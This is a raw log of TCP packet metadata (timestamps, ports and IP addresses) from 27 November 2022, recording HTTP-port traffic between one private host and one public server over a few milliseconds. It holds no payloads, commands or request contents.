Nov 27, 2022 04:36:43.111104965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111104965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111105919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111105919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111105919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111123085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111143112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111157894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111157894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111157894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111161947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111183882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111202002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111207962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111219883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111233950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111239910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111258984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111262083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111278057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111295938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111296892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111314058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111321926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111335039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111337900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111355066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111366987 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111373901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111391068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111392975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111409903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111412048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111432076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111432076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111443996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111449957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111465931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111469030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111480951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111489058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111501932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111507893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111521006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111527920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111543894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111547947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111560106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111567020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111571074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111586094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111592054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111605883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111612082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111624956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111629963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111644030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111646891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111660004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111664057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111680984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111685038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111704111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111706018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111721992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111727953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111740112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111742973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111758947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111764908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111780882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111787081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111807108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111816883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111824989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111840963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111848116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111860991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111867905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111875057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111887932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111897945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111907959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111911058 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111927986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111931086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111947060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111948967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111964941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.111965895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111984015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.111991882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.112003088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112020969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112035990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.112040997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112060070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112071991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.112078905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112088919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.112123013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.112489939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112592936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112612963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112632036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112649918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112656116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.112684011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112684965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.112704039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112710953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.112726927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112761021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.112761021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.112782955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.112894058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.112946033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.112983942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113002062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113022089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113038063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113046885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.113056898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113075018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113075018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.113092899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113104105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.113112926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113132954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.113132954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113154888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113159895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.113173962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113185883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.113192081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113210917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113218069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.113230944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113250017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113254070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.113269091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113279104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.113286972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113303900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.113308907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.113318920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.113338947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.113357067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122159004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122179985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122196913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122261047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122279882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122298956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122298956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122298956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122318029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122339010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122350931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122350931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122358084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122373104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122378111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122389078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122396946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122414112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122415066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122435093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122451067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122452974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122473001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122483969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122493029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122510910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122529984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122531891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122548103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122548103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122567892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122574091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122587919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122602940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122606993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122632027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122678995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122770071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122817993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122838020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122857094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122873068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122900963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122904062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122931957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122951984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.122963905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.122983932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123013020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123027086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123127937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123146057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123177052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123184919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123204947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123209000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123224020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123224974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123238087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123241901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123262882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123269081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123281956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123286963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123301983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123307943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123321056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123331070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123342037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123347044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123363018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123367071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123382092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123383999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123400927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123414993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123420954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123440027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123440981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123460054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123473883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123480082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123498917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123508930 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123517990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123524904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123537064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123555899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123569012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123574018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123585939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123593092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123610973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123619080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123629093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123646975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123651028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123665094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123677015 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123687029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123703957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123703957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123723984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123735905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123743057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123759985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123760939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123780966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123789072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123800993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123811007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123820066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123840094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123858929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123867989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123877048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123895884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123908997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123914003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123924971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123934031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123953104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123953104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123971939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.123974085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123987913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.123991966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124011040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124020100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124030113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124048948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124047995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124064922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124068975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124078989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124089003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124098063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124109030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124115944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124128103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124131918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124146938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124152899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124166965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124171972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124186039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124205112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124208927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124223948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124234915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124242067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124260902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124262094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124279022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124279976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124298096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124308109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124320030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124335051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124340057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124350071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124370098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124360085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124399900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124401093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124417067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124424934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124437094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124449968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124471903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124481916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124496937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124517918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124520063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124543905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124547005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124566078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124568939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124591112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124593973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124608994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124614954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124639034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124639988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124655008 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124664068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124687910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124694109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124711037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124725103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.124733925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.124742031 CET	49705	80	192.168.2.5	66.235.200.147
